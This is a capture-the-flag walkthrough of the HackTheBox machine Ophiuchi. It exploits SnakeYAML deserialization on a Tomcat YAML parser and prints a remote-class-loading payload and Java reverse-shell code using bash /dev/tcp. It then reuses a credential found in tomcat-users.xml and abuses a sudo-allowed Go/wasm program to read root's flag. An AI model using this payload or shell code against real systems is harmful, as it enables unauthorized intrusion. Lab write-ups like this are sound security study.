Release Date2021-02-13
Retired Date2021-07-03
IP Address10.10.10.227


Here we go again for a new Box. Let’s scan it and check what we have here:

# Nmap 7.80 scan initiated Wed Jun  2 11:18:51 2021 as: nmap -p- -sV -sC -oN nmap
Nmap scan report for
Host is up (0.042s latency).
Not shown: 65533 closed ports
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
8080/tcp open  http    Apache Tomcat 9.0.38
|_http-title: Parse YAML
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
# Nmap done at Wed Jun  2 11:19:28 2021 -- 1 IP address (1 host up) scanned in 37.29 seconds

We have Apache Tomcat (version 9.0.38) listening on port 8080, and besides that, just ssh.

Let’s check the website.


Cool, an online YAML parser. I tried to put in some text in there to check what it was actually doing but it came back with this message:

Due to security reason this feature has been temporarily on hold. We will soon fix the issue!

Humm, something is going on in there πŸ˜‰ And it was nothing I tried (yet) πŸ˜‡.

Since there’s not much to be seen here I fired up gobuster to check for hidden stuff:

$ gobuster dir -u -w /usr/share/dirb/big.txt 
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:  
[+] Threads:        10
[+] Wordlist:       /usr/share/dirb/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
2021/06/02 11:25:01 Starting gobuster
/Servlet (Status: 200)
/manager (Status: 302)
/test (Status: 302)
/yaml (Status: 302)
2021/06/02 11:26:32 Finished

Well, nothing here either.

  • /Servlet is just then endpoint you get redirected to after submitting some “YAML”;
  • /manager is password protected and is the Tomcat Manager interface;
  • /test just redirects to /test/ and 404’s;
  • /yaml is the actual page we’ve seen before.

With no entrypoint to be seen, I decided to run nikto on the site to see if I was missing something:

- Nikto v2.1.6
+ Target IP:
+ Target Hostname:
+ Target Port:        8080
+ Start Time:         2021-06-02 11:39:00 (GMT1)
+ Server: No banner retrieved
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ OSVDB-397: HTTP method ('Allow' Header): 'PUT' method could allow clients to save files on the web server.
+ OSVDB-5646: HTTP method ('Allow' Header): 'DELETE' may allow clients to remove files on the web server.
+ /manager/html: Default Tomcat Manager / Host Manager interface found
+ /host-manager/html: Default Tomcat Manager / Host Manager interface found
+ /manager/status: Default Tomcat Server Status interface found
+ 5356 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time:           2021-06-02 11:43:28 (GMT1) (268 seconds)
+ 1 host(s) tested

Not much we didn’t knew already. The allowed PUT and DELETE methods did deserve my attention, and I did try to use them, but they didn’t really work so I just classified them as false-positives.

I also looked for vulnerabilities on Tomcat 9.0.38 but came up empty handed, so, having checked everything for the most obvious (vulnerable versions, hidden stuff, etc.), I decided to get back to the website and our “YAML Parser”. I tried for a little to input some valid and invalid YAML to see if the message that appeared before would go away, but everything would result in the same message.

The only “input” I had was really just that HTML form so I went to search for something related with YAML and Tomcat.


Well look at that! There’s actually something with this “combo”. I dived right in on that first link and read everything. So, bottom line is, SnakeYaml has a deserilization problem where it can be tricked to load some java class controlled by an attacker. To trigger the external class loading, and check that the application is vulnerable we just have to supply this YAML:

!!javax.script.ScriptEngineManager [
  !! [[
    !! [""]

If we have a web server running on that port, we should see requests coming in from the server:

$ python -m http.server 9000
Serving HTTP on port 9000 ( ... - - [03/Jun/2021 16:57:25] code 404, message File not found - - [03/Jun/2021 16:57:25] "HEAD /META-INF/services/javax.script.ScriptEngineFactory HTTP/1.1" 404 -

There we go! Our YAML Parser is vulnerable. Now we just need to create the correct infrastructure it needs to exploit the vulnerability and we’ll have code execution on the box. First, we need to supply that javax.script.ScriptEngineFactory file that the sole purpose is to point out the name of the next class to load. We’ll create a class named revshell on a package named r3pek to actually pop the reverse shell, so this file will is really simple:

$ mkdir exploit
$ mkdir -p META-INF/services/
$ echo "r3pek.revshell" >> META-INF/services/javax.script.ScriptEngineFactory

There we go, now that it knows what class to load, we just need to supply it with one. First we create a .java file with our code:

 1package r3pek;
 3import javax.script.ScriptEngine;
 4import javax.script.ScriptEngineFactory;
 6import java.util.List;
 8public class revshell implements ScriptEngineFactory {
 9    public revshell() {
10        try {
11            String [] cmd = {"bash","-c","bash -i >& /dev/tcp/ 0>&1"};
12            Runtime.getRuntime().exec(cmd);
13        } catch (Exception e) {
14            e.printStackTrace();
15        }
16    }
17    @Override
18    public String getEngineName() {
19        return null;
20    }
21    @Override
22    public String getEngineVersion() {
23        return null;
24    }
25    @Override
26    public List < String > getExtensions() {
27        return null;
28    }
29    @Override
30    public List < String > getMimeTypes() {
31        return null;
32    }
33    @Override
34    public List < String > getNames() {
35        return null;
36    }
37    @Override
38    public String getLanguageName() {
39        return null;
40    }
41    @Override
42    public String getLanguageVersion() {
43        return null;
44    }
45    @Override
46    public Object getParameter(String key) {
47        return null;
48    }
49    @Override
50    public String getMethodCallSyntax(String obj, String m, String... args) {
51        return null;
52    }
53    @Override
54    public String getOutputStatement(String toDisplay) {
55        return null;
56    }
57    @Override
58    public String getProgram(String... statements) {
59        return null;
60    }
61    @Override
62    public ScriptEngine getScriptEngine() {
63        return null;
64    }

Interesting part here is really just the constructor method where the reverse shell command is executed.

Just as a side story, I literally spent hours debugging why the shell wouldn’t pop but every other command that I sent would execute. At the time, what I had on the cmd variable was this:

String cmd = "bash -c 'bash -i >& /dev/tcp/ 0>&1'";

The shell would never pop and no error was returned. I knew the code was executing becase I even tried replacing the command with ping -c 4 and I could see the ICMP packets coming on the interface with tcpdump. Turns out that Runtime.getRuntime().exec() messes up the argument list when sending the command to the OS mixing which part of the text is a parameter to what command, leading the nothing getting executed (or with errors). The solution to that was actually passing a String[] to the .exec() method so the parameter list is well defined.

Now, all that is needed is to compile the java class, check if the directory structure is ok, open up a netcat listener and fire up the payload on the YAML Parser site:


And there we have it, our reverse shell and our foothold! πŸ₯³

user flag

From the user tomcat to “normal” user, the usual is to have some hardcoded user/password combo that we can use. In this case, I immediately remembered the /manager endpoint that was password protected. According to the docs, those users are defined on the tomcat-users.xml configuration file. This file is found on /opt/tomcat/conf and inside we find this line:

<user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/>

And the available user actually matches the one that exists on the box:

tomcat@ophiuchi:~/conf$ grep admin /etc/passwd
grep admin /etc/passwd
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin

Yes, it’s the actuall user’s password πŸ˜‰. Just ssh in, and get the user flag πŸ’ͺ.

admin@ophiuchi:~$ id
uid=1000(admin) gid=1000(admin) groups=1000(admin)
admin@ophiuchi:~$ cat user.txt

root flag

Now we need to escalate to user root to read the root flag. Let’s check sudo for allowed commands:

admin@ophiuchi:~$ sudo -l
Matching Defaults entries for admin on ophiuchi:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User admin may run the following commands on ophiuchi:
    (ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go

Looks like we’re allowed to run some Go written program, and it might have something to do with Wasm (WebAssembly)?! I’m no web developer, and never actually touched Go, but oh well, how hard can it be? Let’s take a look at the index.go:

 1package main
 3import (
 4	"fmt"
 5	wasm ""
 6	"os/exec"
 7	"log"
11func main() {
12	bytes, _ := wasm.ReadBytes("main.wasm")
14	instance, _ := wasm.NewInstance(bytes)
15	defer instance.Close()
16	init := instance.Exports["info"]
17	result,_ := init()
18	f := result.String()
19	if (f != "1") {
20		fmt.Println("Not ready to deploy")
21	} else {
22		fmt.Println("Ready to deploy")
23		out, err := exec.Command("/bin/sh", "").Output()
24		if err != nil {
25			log.Fatal(err)
26		}
27		fmt.Println(string(out))
28	}

Simple program here, and actually, easy to read even for someone that never coded a single line of Go. What I understood of the program is:

  1. loads main.wasm
  2. runs the wasm info() function that should be exported
  3. checks if return value of info(), converted to a String, is "1"
    • if it’s different from "1", just print No ready to deploy
    • if equals "1", run script and print it’s result.

Ah damn it. Now I need to learn wasm πŸ˜“. Shouldn’t be too hard anyway, just have to export a function that actually returns 1. I decided to do a quick search for some wasm online compilers and ended up finding this WebAssembly Explorer. I went ahead and wrote a simple function:

int info() {
    return 1;


Hit the Compile button and then Download. Now we have the wasm file needed to pass the first check. Let’s just see if this works:

admin@ophiuchi:~$ mkdir .r3pek
admin@ophiuchi:~$ cd .r3pek
admin@ophiuchi:~/.r3pek$ mv ../test.wasm .
admin@ophiuchi:~/.r3pek$ mv test.wasm main.wasm
admin@ophiuchi:~/.r3pek$ sudo go run /opt/wasm-functions/index.go
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x4b56c8]

goroutine 1 [running]:
	/opt/wasm-functions/index.go:17 +0x118
exit status 2

Ok, I’m really bad at this and I can’t even get a damn return 1; function right. I went back and looked at the 3 lines I have written, and of course, there’s nothing wrong. One thing popped at me though, on the Watcolumn, there was this export "_Z4infov" (func $_Z4infov)) line which looked like somehow it was encoding the function name being exported. If this was true, the Go program would never find the info() function it was looking for and that would break things. Just to be sure, I downloaded wasm-dump which can check what a wasm file contains.

$ go/bin/wasm-dump -x Downloads/test.wasm 
Downloads/test.wasm: module version: 0x1

section details:

 - type[0] <func [] -> [i32]>
 - func[0] sig=0
 - table[0] type=anyfunc initial=0
 - memory[0] pages: initial=1
 - function[0] -> "_Z4infov"
 - memory[0] -> "memory"

Ah! Ok, now I understand the problem. Let’s just go back to the webpage where we generated the wasm file and try flip some switches on the left side, to be able to not change the function names when exported.


After flipping everything on and off, what actually made it change the name of the exported function, was to change the compiler from C++11 to C99. Now, check with wasm-dump before uploading the file to the box:

$ go/bin/wasm-dump -x Downloads/test.wasm 
Downloads/test.wasm: module version: 0x1

section details:

 - type[0] <func [] -> [i32]>
 - func[0] sig=0
 - table[0] type=anyfunc initial=0
 - memory[0] pages: initial=1
 - function[0] -> "info"
 - memory[0] -> "memory"

Much better! Now let’s try this on the box:

admin@ophiuchi:~/.r3pek$ sudo go run /opt/wasm-functions/index.go
Ready to deploy
2021/06/03 21:35:49 exit status 127
exit status 1

We’re now ready to deploy! πŸ₯³ Just need to write something useful on that file. What can it be? πŸ€”

admin@ophiuchi:~/.r3pek$ echo cat /root/root.txt >
admin@ophiuchi:~/.r3pek$ sudo go run /opt/wasm-functions/index.go
Ready to deploy

And we have our root flag!

root password hash